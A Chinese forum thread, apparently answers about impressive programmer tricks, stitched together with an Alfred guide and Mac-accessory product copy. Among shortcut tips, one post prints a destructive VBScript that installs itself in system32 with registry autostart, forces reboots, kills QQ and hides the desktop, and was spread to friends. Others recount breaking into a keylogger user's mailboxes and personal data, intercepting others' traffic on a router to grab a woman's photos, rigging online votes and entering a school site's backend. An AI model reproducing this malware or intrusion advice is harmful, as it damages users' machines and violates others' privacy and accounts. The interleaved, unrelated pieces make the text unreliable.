    有一次學校不知道怎麼回事大規模的機器和移動存儲設備都中了一種蠕蟲病毒,只要一打開U盤機器就中毒,然後機器又會傳染別人的U盤。後來我寫了個殺毒腳本放在內網上,但是沒人去用,病毒依舊猖獗,我就乾脆把殺毒腳本捆綁到了那個蠕蟲病毒中。過了一段時間病毒都不見了同學老師們都紛紛覺得好神奇。。

    我們社團每個成員都有我們社團的域名郵箱,我的個人郵箱也是自己的域名的,而且很簡單,大部分人見到都會覺得好神奇。。

    還有就是電腦課不讓我去上課同學們覺得好神奇。。

    當然這些都是我高中時候鬧著玩的,程序員都知道這些其實沒什麼技術含量的。

    在照相馆,选照片的时候,忘记是要标注图片还是要截图了,反正acdsee不好用,接待妹子又找不到可以用的其他软件,我拿过来直接Win-m-s-p-回车,开始菜单一闪而过,然后画图板就打开了。
    妹子本来笑嘻嘻的,突然表情抽了一下…………

    PS:win-"msp" (完整名称是mspaint,但一般msp回车,系统匹配到的第一个就是了)
    相同的还有”note""power"“excel”"word"等

    上大学那年月,chinaren的校友录还火热着。有次系里一个low货刚学会怎么用keylogger,到处偷别人qq密码,特别兴奋,跑北京校友的班级里显摆,不是“今会用木马偷qq了”就是“今跟网吧偷了十几个qq,好爽”blablabla。

    大概觉得说完了没人理他有点小失落,于是往那校友录班级的文件分享区上传了个程序,注释是显示什么qq号缘分之类奇奇怪怪的玩意。

    我弄下来一看,鼠标右键直接能用winzip打开是个自解压包(太low了),然后里面有俩exe,一个是个伪装的小玩具似的程序,另一个自然就是他用的木马了。然后找了个解exe资源的小工具,打开,发现连个壳都没加(太特么low了)。顺利的在资源字符串里找到了他收密码用的邮箱账号,还有邮箱密码。
    把这事捅到校友录上前因后果说了一遍把他喷了一顿。

    当然,还没完。他那个邮箱账号是xxx4@163.com,看见个4,说明这货还有xxx1、xxx2、xxx3之类系列邮箱,于是又拿那个密码把他其他几个邮箱挨个拿下。
    之后收获他偷来的qq号一堆、他的一个女同学照片若干、还有什么qq聊天记录文件、网站空间注册的回执邮件、家庭住址、电话巴拉巴拉一堆。

    然后又拿那个密码试了试他校友录账号,哈哈哈,成功登陆,又用他的账号跑到那个校友班级留言把他喷一顿,然后留了个自己的名,当时颇有种行侠仗义,打抱不平,让low货偷鸡不成蚀把米的感觉。

    于是校友录里同学们那个膜拜啊,现在想起来还有点小激动。

    别人用鼠标点tab旁的小按钮新增一个tab,我按ctrl+t~

    别人用鼠标点按地址栏然后输入网址,我用F6~

    别人关掉tab后想恢复就找历史记录,我按ctrl+shift+t~

    别人开文件管理器需要找『我的电脑』在哪,我用win+E~

    别人测试网络通没有开百度,我用ping~

    别人找工具程序,找不到就算了,我找不到就自己写一个~

    ~~~这样的事情,每天有不止100次~~~

    1。学一下HTML、CSS,用chrome按F12,你就能随意修改网页内容了。

    2。(网络操作部分,需要前置技能1。)装个Ubuntu,学一下Linux的命令操作,尤其是curl命令,然后再学一下shell脚本的使用,你就可以编写脚本随意控制电脑和手机了,包括定时关机、某些网站自动签到、自动刷票、在电脑用命令控制手机、让手机通过USB线上网、利用手机远程控制电脑、一键下载优酷的某部电视剧等等。

    3。(需要前置技能2;网页部分,需要前置技能1。)买个linux系统的VPS服务器,在上面安装xware,就可以实现迅雷的路线下载了。安装apache,把自己写的HTML网页放上去,恭喜你,你可以自己制作网页并发布了。再安装mysql、PHP,把wordpress、discuz部署上去,你已经会搭建自己的博客、自己的论坛了。

    4。(需要前置技能1、2。)搞个能刷openwrt的路由器,在上面安装shadowsocks、chinadns,同时在VPS安装服务端,现在只要有手机连接了你的WiFi,就能自由科学上网不受限制了,尤其对那些没有root、没有越狱的手机非常有用。你还能在路由器里做一些设置,让你的电脑手机可以自动屏蔽广告、屏蔽垃圾网站;也可以通过设置,让别人连接你的WiFi上网,就给他播放恶作剧视频;通过路由器,还可以查看别人的上网内容,放女生宿舍旁边,有机会截获女神自拍。同时还能禁止别人上特定的网站,禁止别人使用迅雷、QQ,可以让别人的百度搜索跳转到Google,把Google的主页doodle图片换成你的自拍,在知乎添加美女写真作为背景图片。

    想必这些程序员都会的很酷的技能,就是楼主想要的,而你并不需要会编程。

    补充
    ~去下载一个Cheat Engine就能修改游戏里的各种属性,比如金币,生命值,防御力等等。
    ~有一个软件叫做AutoHotKey,还有一个国产软件叫按键精灵,可以用来做一些自动化操作,高中的时候用过一段时间,不过现在已经不用win系统了。现在需要一些自动化操作的话,还是shell脚本比较方便。

    关于第二条,首先需要下载安装个Linux系统吧,比如Ubuntu。Ubuntu下按Ctrl+Alt+T,弹出命令行,就可以输入各种命令了,关于Linux的命令,可以看这个教程:Linux入门教程(更新完毕)_Linux教程。看完之后你已经可以进行定时开关机之类的操作了。接下来可以学习ssh命令,这个命令就是用来远程控制的。如果需要更加强大的自动化功能,就需要学点shell脚本。最后如果要进行网站刷票之类的操作,需要了解HTTP协议,在chrome按F12切换到网络标签,可以查看浏览器发送和接收的HTTP包。其中curl可以很方便的进行HTTP协议的一些操作。

    5.(需要前置技能2。)//补
    最近折腾Arch Linux,现在用i3桌面(一种平铺式窗口管理器)+ zsh(一种shell),chrome + vimium,练习键盘流,慢慢脱离鼠标手,已经基本上不用鼠标操作电脑了,大大提高工作效率。
    i3配置教程参考:
    https://youtu.be/j1I63wGcvU4?list=PLWbG_jRcA3qfJrCeioluTYU0GUAXJ2LJ1,
    搜了几张比较好看的配置方案:

    以下是小白(装13)教程:
    按下win+R 迅速敲下notepad 回车,然后写下如下字母:
    1,@echo off 关闭命令会显(显得高大上(ˇˍˇ) 想~)
    2,首先改窗口颜色:color 0a;绿色最适合(装X了)。
    3,改标题:title 电脑系统正在分析中…
    4,写下mode 1000
    5,写下:matrix(注意前面有冒号:)
    6,再写echo %random%%random%(后边把这玩意儿复制十遍以上,最好多点,适合装X效果o(╯□╰)o)
    7,最后写goto matrix 代表循环的意思
    8,最后保存文件到桌面,把后缀格式改为.bat(注意后面格式一定要为.bat).
    完成了,(此时估计妹纸还不知道你要干嘛)这时候你告诉妹纸,这个是我写的电脑系统的病毒扫描器。然后双击它,看着满屏的数字滚动,享受着妹纸一脸惊讶和佩服的表情(脑洞大开(^o^)/~)

    再放点小白(装X)技能,真的是一劳永逸(无需任何编程基础)。
    对于这种视觉上的忽悠,最需要的就是画面感了,所以一瞬间打开上百个窗口是不是看起来很酷呢(O(∩_∩)O~)
    对于这种效果实现也很简单,实际上只需要一行命令就搞定了。
    下面开始教学(继续装x):
    前面俩个步骤和上面一样,关键的一步来了:
    3,写下for /l %i in (1,1,100) do start cmd 回车(100这个数字就代表打开的数量,可自行修改  PS:中间那个1改成0,效果更佳~)
    瞬间满屏的黑窗口,还记得当初那妹纸惊讶的嘴型,尽管当时窝不是在装X(好吧,我承认有是)
    同样的道理,for /l %%n in (1,1,100) do windows >>error%%n.txt 这个保存成.bat放到桌面,双击它,瞬间error文件铺满屏幕,然后你再淡定的说一句:"哎呀,出现了个error,失误.不过没关系。"
    然后打开其中一个写下:del *.txt另存为.bat.再双击下瞬间所有的error都消失了。
    其他的都类似吧,比如打开网页也可以用这个,转换下思想这个东西还挺好使o(╯□╰)o。
    最后,再分享一个cmd下的神技吧,查看wifi密码:
    就不啰嗦了。直接上关键的命令:
    1:netsh wlan show profiles 完了会输出一系列wifi的名称。
    2,netsh wlan show profiles "这里写上面输出的wifi 名称" key=clear

    然后再关键内容就可以看到wifi密码了。如何不行可以先输入命令wmic ,再输入quit,然后再继续上面的内容。
    嘛,现在应该很少人这样上论坛了吧,我也是突然想起来。
    科普下 这是在命令行里面运行 telnet命令进行远程访问论坛,telnet和咱们访问网站前面的Http://一样,也是一种网络协议,比较古老了,原来很多mud游戏(古老的文字网络游戏)就是通过telnet协议连接到服务器进行的,现在支持telnet的站点不是很多。

    分享一些给大家玩,打开命令行输入“telnet + 空格 + 域名”就可以啦
    http://bbs.pku.edu.cn 北大未名论坛
    http://bbs.newsmth.net 著名的水木
    http://bbs.zixia.net 大话西游 民间BBS,历史悠久
    http://bbs.zju.edu.cn 浙江大学
    http://bbs.byr.cn 北邮人
    bbs.http://nju.edu.cn 南京大学小百合BBS
    hell.52mud.com 2008 东方传说 一个mud游戏

    win7后telnet默认关闭了,从启用或关闭windows功能那里打开
    或者使用Cterm来访问会更方便 CTerm主页 祝大家玩的开心~

  11. Alfred乃是OS X上最能够提升效率的一款应用,是 Mac 平台上最为传奇的效率作品,誉为神兵利器毫不为过。其实这个领域当年的带头大哥是Quicksilver,一时风头无两。但是一个人在风头浪尖站太久就会倦怠,而且 QS 也没找到合适的盈利模式,结果被 Alfred 迎头赶上,等 QS 醒过来再发布新版本的时候,江山已经易主,Alfred 强势发布2.0,而且通过 Powerpack 模式的强大功能转化了很多免费用户,目前看来 Alfred 已经一骑绝尘了。

    它通过快捷键(默认opt+space)调出一个非常简洁的输入窗口,通过这个窗口可以完成
    搜索(包括本机和web资源)、文件系统导航、常用文件操作
    计算器、词典、联系人、itunes迷你播放器
    剪贴板历史和文本片段管理
    快速执行系统命令
    Powerpack——Alfred最核心的工作流,可扩展,不过只有付费用户可以享用
    常用场景

    打开Application

    有了Alfred,再也不用鼠标点击App图标了,直接调出Alfred,输入应用名即可快速打开应用。
    默认情况下,Alfred会从一系列预定义的系统文件夹(包括/Applications等等)中搜索结果,但是可能会有用到一些软件包管理器(例如brew cask一类)的童鞋,把软件安装在了其他地方,这时打开Alfred Preference(有了Alfred,千万别再用鼠标去点击小帽子了,调出Alfred快捷输入Alfred即可),在Features->Default Results中可以配置搜索范围(Search Scope),把想要纳入搜索范围的文件夹加入即可。

    搜索本机文件

    调出Alfred,输入以下命令:
    find——定位文件,输入文件名找到后选中可以在Finder中打开
    open——输入关键词,回车直接打开结果文件,CMD+回车可以在Finder中打开这个文件所在的位置。等价命令有’和直接输入一个空格
    in——全文检索,可以对文件内容进行匹配

    内置搜索

    直接调出Alfred输入关键词,浏览器会自动打开显示搜索结果。同时Alfred还内置了很多常用搜索——包括gmail, twitter, wiki, imdb, bing, yahoo, linkedin等等等等,使用这些搜索需要使用对应的关键字——例如gmail github,浏览器中会显示gmail中所有相关邮件。具体列表可参见Features->Web Search
    ####自定义搜索 在查看内置搜索时,想必您已经发现列表的右下角多出来一个按钮——Custom Search,没错!Alfred能够支持url search,即定义好url模式——主要是关键字的位置,例如我定义下面Search:

    Search URL : https://github.com/search?q={query}
    Title : Github
    keyword: github
    调出Alfred, 输入github linux后浏览器自动打开并显示Github中linux的搜索结果 值得一提的是,Alfred的自定义搜索,不仅仅支持浏览器的http协议,还能够支持Itunes, Appstore哦

    文件导航

    Finder实际上是一个典型的UI导向的文件管理器,但很多情况下,大家可能需要一种更快速的文件导航机制——例如命令行+自动补齐。强大的Alfred其实已经具有了这个功能
    调出Alfred,输入~或者/,导航窗口直接定位在对应目录
    在Features->File Search->Navigation中定义导航快捷键(我的设置是双击Opt),直接调出导航窗口
    在导航窗口中,可以轻松通过回车、退格上下左右来进行操作,对于不喜欢双手离开主工作区的用户——control+n/p/f/b可以更快速的完成导航。

    文件操作

    对于购买了Powerpack的用户,可以对Alfred找到的文件(包括App, 文本文件等等)进行快捷操作,快捷键的设置在Features->File Search->Action中,我的设置是——Cmd + ,以Preview应用为例,当我通过快捷键打开它的Action列表后:
    最近文档——可以列出最近该应用使用过的文档,方便快速查看
    在Finder中打开它——不过这个功能不常用,因为我们可以直接用cmd+return实现
    复制到、移动到、删除等常用操作——对普通文件很有用
    将文件作为电子邮件发送
    剪切板

    对于购买了Powerpack的用户,Alfred可以自动对剪切板的历史进行保留,具体设置在Features->Clipboard中,可以设置调出剪切板历史的快捷键/关键字以及对多久时间以内的剪切板历史进行保留。
    片段(Snippet)也是类似功能,通过预定义一些关键字来对应一段文本来达到快捷输入的目的。

    计算器

    在Alfred中直接输入计算表达式,Alfred会自动识别并计算出结果

    词典
    spell关键字可以查询单词,选中的结果会自动放入剪贴板
    define关键字可以打开词典显示更详细的信息
    执行系统命令
    重启(restart)、休眠(sleep)、关机(shutdown)、锁屏(lock)、清空Trash(empty trash)等等,有了它们再也不用去点击左上角的苹果按钮和桌面的回收站了

    itunes迷你播放器
    输入itunes关键字,会出现一个和文件导航窗口十分类似的播放器,在里面可以非常快捷的操作、选中、播放

    1,外接键盘(如果你不是程序员就不用了),市面上90%的键盘都比macbook的好用。。。
    2,别用chrome
    3,神奇的快捷键 ctrl + a ,ctrl + e
    4,系统自带的窗口控制简直是坨翔,最大最小化窗口简直不是人用的,下个spectacle吧
    5,记住一点,如果硬说mac比windows好,那么关键就在于它有term,其他的地方都是渣渣,就算term也只能跟windows比而已,跟ubuntu比还是渣渣,楼上有人说homebrew堪比apt-get,真是笑尿了。。。有人扯出sublime text,人家是跨平台的编辑器好吧。。。。finder连复制路径都不行。。。activity moniter 也被任务管理器虐成渣了好吧。。。还有说keynote,page,number堪比office系列的,来来来,帮我找找keynote里面自带几个默认图形?也就几个箭头几个方块好吧,ppt想画个图都麻烦,必须依赖其他的工具。。。office里的格式刷真是神器啊,岂是mac自带的那些破玩意能比的。。。

    无比怀念windows,如果windows下的命令行好用一点我这辈子就再也不碰mac了。。。。
    某种程度来说,Mac让他们找到了初恋的感觉。那么今天我就来谈谈如何调教你的“女朋友”,使她成为你的得力助手,所以这是一篇初心者导引。

    对于很多人来说,颜值的重要性不言而喻。

    对于Mac的装饰物来说,我觉得创意贴是非常不错的选择。创意贴就像是女孩子的淡妆,恰到好处的自然远胜过浓妆艳抹的刺眼。还有一个不推荐保护套的原因是因为当你戴了保护套之后可能会失去便携性,比如很可能放不进一些背包中。

    本来就高颜值的MacBook被这么一调教,颜值简直爆表。有了颜值,接下来我们就要更深入地调教她,让她成为得力的红粉知己为你磨墨展纸,红袖添香。

    Macbook现在都已经全线换上了速度飞快的ssd,随之而来的困扰便是ssd的容量。128G或者 256G的容量对于很多用户来说显得有点小了,但是升级ssd的花费又太高了,实在是非常伤脑筋,这时可以购买一款移动硬盘来满足需求。

    但是怎么样的硬盘才配得上我们美丽的Mac呢,首先是颜值高,其次是性能好。综合上面的分析,我认为LaCie的硬盘都能很好的满足Mac用户的需求。
    移动硬盘(LaCie Porsche Design slim drive)

    学是通信工程专业,班里同学对编程普遍兴趣不大,上了 C++ 的课,我课后自己捣鼓了一个类似 Matlab 的命令解释器,加上用 WinAPI 实现的描点画图(模仿 Matlab 的 plot 命令),班里的人看了都直呼大神,然而并没有什么卵用。

    作为一个 IT 从业人员,使用 Chrome/Firefox,使用 Notepad++/Sublime,使用 Linux/Cygwin 等是一件很正常的事,但在非程序员(很大部分)看来,就已经非常高大上,因为他们使用着 360 安全浏览器,而且离不开它。

    大一的时候,大学英语课程要搞视听说课后练习,之前有师兄就发现页面问题加载完之后答案也跟着问题一起发到了页面,所以只需要写个页面转换器就能把答案显示出来,当时还懵懂的我觉得师兄好牛逼。

    LaCie的保时捷系列设计语言高度统一,磨砂的金属外壳透露着工业设计之美,而且材质与Mac相近,让我用一个词形容,那就是天生一对儿。但它也绝不是花瓶,性能上也不遑多让,预算有限的用户可以选择HDD版,读写100MB/s,跟很多移动硬盘相差不多,它突出的特点是安静,工作时几乎感觉不到振动。价格上并没有多么的高不可攀,多出的差价对于这个做工来说是非常值得。预算充足的用户可以选择搭载雷电接口的SSD版本。

    除了硬盘,我们接下来要说的是键鼠。一个设备最直接接触用户的三个接口分别是显示器、键盘和鼠标。Mac的Retina显示屏已经足够惊艳,那么键鼠也要与之相配才行。
    键盘的选择多重多样,Mac原配的键盘比较普通就不多介绍了。直接上图。

    Mac并不是非鼠标不可,相反,如果你放弃鼠标,Mac可以带来更高的效率,而且用老乔的话说就是,you just can’t go back。怎么在没有鼠标的情况下更高效的使用Mac呢?

    好的环境可以带来好的心情,接下来的安利中的产品可能在功能性方面并不突出,但是它们的设计一定有过人之处。
    首先要说的是支架。Mac支架非常的多,在选Mac的支架时,一般都是按照以下三个要求来选,第一是支架稳定性一定要高,第二是设计美观,最后是风格与桌面相近。按照这三个要求我为大家选出了两款支架。
    铝质笔记本电脑立架(Apple Just Mobile AluBase)

    这款Just Mobile出品的支架符合大部分用户的需求,设计简约,稳定性高,做工精良。

    立式桌面支架(Twelve South BookArc Pro)

    这款是Twelve South出品的支架,同样设计感十足,稳定性高,做工同样精良,分量十足。我还是比较偏爱后面这款支架的。虽然这两款支架都很好的符合了我的需求。从设计感上来说,Just Mobile的支架更好,它占据的空间小,同时稳定性要比Twelve South的更好一些。

    但是这都是建立在没有连接任何线缆的情况下。如果你的Mac放在支架上连接了很多线缆时,那么Just Mobile的支架不能很好的控制线缆,会显得很乱,而Twelve South的支架可以通过下方将线缆隐藏起来,会让桌面显得干净很多,强迫症的不二之选啊。

    当然如果你的桌子是木制的,或者你喜欢复古风的,这款木制的支架也是极好的。

    鼠标垫(Just Mobile Alupad™)

    虽然我是一个键盘党,但是对于那些画图的人来说,鼠标可能是必需品。对于使用鼠标的用户,Just Mobile 的玻璃铝合金鼠标垫是很好的选择,除了冬天可能会比较冷,价格有点高以外,没什么太大的问题。Just Mobile —— 不只是Apple friendly,更是Perfect Just Mobil。

    接下来是Mac风格的台灯,Pablo Pardo极简设计,柔和灯光,Mac的最佳拍档!
    极简桌灯(Pablo Pardo)

    话说MacBook作为一台laptop,我们怎么可以少了它的移动堡垒呢?
    奢侈系列(Coteetciel Cote&Ciel Nile)

    来看COTEetCIEL(côte et ciel [kot-e-sjεl],coast and sky,法文意为海岸和天空)为 Mac 精心设计的双肩包。除了每一件单品都展现简约的美学和实用的功能性,COTEetCIEL的产品也采用回收宝特瓶制成的聚酯纤维、纯棉帆布和高等级的潜水布料,与减少废水和二氧化碳排放的原液染色制程,经由精细的处理,以最环保的方式,每一件产品都追求裁剪、线条、实用的型格,为iPad、MacBook等3C商品最好的保护。

    最后一样就是为了给和我一样强迫症晚期的患者所准备的。

    基座(Belkin Thunderbolt 2 Express HD)
    Mac常常被诟病的一点就是接口数量太少,可是普通的USB扩展坞却又不够优雅。这时候就到了它出马的时候了。一个扩展坞搞定一切,你需要的不需要的接口上面都有了,而且你只需要使用Mac上的一个雷电接口就够了。而且你拥有了它,你的Mac就再也不用像肯德基的肉鸡一样插满各种各样的管子了。

    One more thing..可能有人会问我,Mac的配件里,你最喜欢的是哪一样,我思考了很久,其实那个答案就是iPhone。Mac和iPhone可以构成一个生态,带来更多更好的体验,比如前两年增加的continuity等功能,Mac和iPhone的连接会越来越紧密。而且,iPhone作为一个配件,它拥有的成长属性(固件更新)是其他配件所没有的,那么最后给大家介绍个应用,那就是Near Lock。Near Lock可以配合iPhone实现自动解锁、上锁Mac。Near Lock的使用体验非常棒,你只需把 iPhone带在身上就可以了,随时打开你的Mac都是解锁状态。而当你离开Mac又会自动上锁。Near Lock的Pro版本支持后台功能,而免费版本需要你打开Near Lock应用,通过蓝牙,它可以判断iPhone与Mac的间距。

    用vbe写破坏性脚本,每次开机答问题,不然关机,修改注册表开机自动启动。
    最重要的是用qq传送不会被改后缀名,windows下直接执行…当时我撂倒一大片qq好友……

    赞数多考虑上码…

    看来还是挺多人感兴趣的,提前说好我小学时期的脚本,写得丑不要介意……
    on error resume next
    Dim fso,file
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set file = fso.getfile(WScript.ScriptFullName)
    file.copy "c:windowssystem32"
    Dim AutoRunProgram
    Set AutoRunProgram = WScript.CreateObject("WScript.shell")
    RegPath ="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"
    Type_Name = "REG_SZ"
    Key_Name = "搞笑的游戏.vbe"
    Key_data = "C:windowssystem32搞笑的游戏.vbe"
    AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
    dim WSHshellA
    set WSHshellA = wscript.createobject("wscript.shell")
    WSHshellA.run "cmd.exe /c shutdown -r -t 123 -c ""请求出斐波拉契数列第1234567890项模1000000007的值"" ",0 ,true
    dim a
    do while(a <> "361034580")
    a = inputbox ("可以慢慢算的,我不急~","认真算嘛","可以用计算器的~",8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
    loop
    dim WSHshell
    set WSHshell = wscript.createobject("wscript.shell")
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true
    msgbox chr(13) + chr(13) + chr(13) + "现在,帮我写一篇文章吧~"
    msgbox "要求:"&vbcrlf&"1、要同时涉及12大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&" "&vbcrlf&""&vbcrlf&"………..",0,"武侠小说征文"
    set ws=createobject("wscript.shell")
    sub sleep (s)
    wscript.sleep s * 1000
    end sub
    sleep 900
    sleep 3
    ws.run "taskkill /f /im qq.exe",vbhide : sleep 5
    ws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000001","REG_DWORD"
    wscript.sleep 500
    ws.run "taskkill /f /im QQ.exe",vbhide : wscript.sleep 2000
    ws.run "explorer.exe",vbhide : wscript.sleep 6000
    msgbox chr(13) + chr(13) + chr(13) + "我还会再来的~"
    next

    这是我在coursera的一门公开课里面学到的。
    打开CMD,输入“telnet towel.blinkenlights.nl 23”,然后回车。
    可以在cmd里面看Star Wars in ASCII。have fun!
    PS:如果win7打不开telnet ,可以在“控制面板-程序和功能-打开或关闭windows功能”里面找到“telnet客户端”,在前面打上勾即可。
    自从网上看到了盗号的逻辑后,自学了OD
    然后网上各种搜索XXX刷-枪/刷-钻/刷-Q-币/etc.软件(感谢百毒)
    接下来脱壳,再拖到OD反编译
    基本都是用smtp协议发账号密码的盗号软件…
    然后就自己保存了一份QQ账号列表…
    再注册个QQ小号,写个小程序自动发起临时聊天,提醒改密码。
    没了

    哦对了,初二的时候黑进了学校的官网,有一次当着信息老师的面进学校网站的后台逛
    我记得当时老师特别惊奇,然后连声让我啥都别动,说她这就去骂网管去。
    然后就没有然后了…
    (后来貌似学校所有信息老师都认得我了- -)
    ————————————-
    还有一次是一个高中的学长在群里发话,说学校举行网络投票,想让我们帮投票。
    我就去看了看
    发现投票系统的反作弊只有一个Cookie判断,别的啥都没有
    于是后来怎么样大家应该清楚…

    1.把快捷方式放一个文件夹,然后把文件夹路劲加到环境变量里,就可以win+R,输入名字运行了。
    2.BASH脚本、DOS批处理极大地方便了各种繁琐的操作。
    3.写程序就像是超能力
    4.正则表达式
    仔细想想有好多啊,没接触过的都会觉得挺神奇的吧,虽然自己用不觉得有什么。

    我觉得对很多人来说,office+VBA就算是黑魔法了,更上一层的又不想花太多时间的话可以在学一个AutoHotKey,就可以解决很多需要重复劳动的事情了。大概10年前我还在读中专的时候,在宿舍走廊打电话,邻宿舍的同学找我说电脑无法启动,我也没挂电话看了一下屏幕,刚引导了bios,后黑屏下面显示着这样一句话
    Reboot and select Proper Boot device or Insert Boot Media in selected Boot device
    and press a key
    我若无其事的继续讲电话然后过去蹲下快速的把他的软盘弹出来后按重启,然后头也不回的就走了。

    然后同学追出来让我收下膝盖。

    UNIX 命令。

    我用 OS X 的,iTerm2 常驻 Dock,bash 更新到 4.3.x 版。又一次问老师拷贝 PPT,正好开着 iTerm2,插上 U 盘,淡定的:
    cp -rvf /Vol<TAB>KING<TAB>概<TAB>4<TAB> ~/Downloads
    然后老师和旁边的妹子都惊呆了。

    还有一次,同学要把下载的电视剧转成 iPhone 能认的格式。我的机器上装了 libav 和 Xcode。文件拷到我的机器上,我开始:
    for each in *; do mv "$each" "$(echo $each | sed "s/ /./g")"; done
    cat << EOF > GNUmakefile
    AVI_FILES := $(wildcard *.avi)
    MP4_FILES := ${AVI_FILES:.avi=.mp4}
    all: $(MP4_FILES)
    %.mp4: %.avi
    avconv -i $< -c:v libx264 -c:a aac -strict experimental $@
    EOF
    make -j4
    “兄弟,一起吃顿饭去”,饭后文件转换完成了